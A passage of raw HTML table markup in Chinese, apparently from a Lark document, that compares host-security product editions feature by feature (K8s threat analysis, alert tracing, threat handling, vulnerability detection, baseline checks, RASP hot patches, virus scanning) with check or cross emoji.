BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;K8S 威胁分析&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-all;">K8s 威胁分析</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;告警溯源(行为溯源)&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">告警溯源(行为溯源)</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;告警溯源(驻留溯源)&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">告警溯源(驻留溯源)</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;告警白名单&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">告警白名单</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;多告警聚合能力&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">多告警聚合能力</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;威胁处置(进程)&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">威胁处置(进程)</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;威胁处置(网络)&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">威胁处置(网络)</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;威胁处置(文件)&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">威胁处置(文件)</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;文件隔离箱&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">文件隔离箱</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;漏洞检测&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">漏洞检测</td><td height="36" width="272" data-sheet-value="&#34;少量情报&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 13.6px;line-height: normal;vertical-align: middle;word-break: break-word;">少量情报</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;漏洞情报热更新&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">漏洞情报热更新</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;基线检查&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">基线检查</td><td height="36" width="272" data-sheet-value="&#34;少量基线&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 13.6px;line-height: normal;vertical-align: middle;word-break: break-word;">少量基线</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;RASP 热补丁&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">RASP 热补丁</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;病毒扫描&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">病毒扫描</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;用户行为日志分析&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">用户行为日志分析</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, 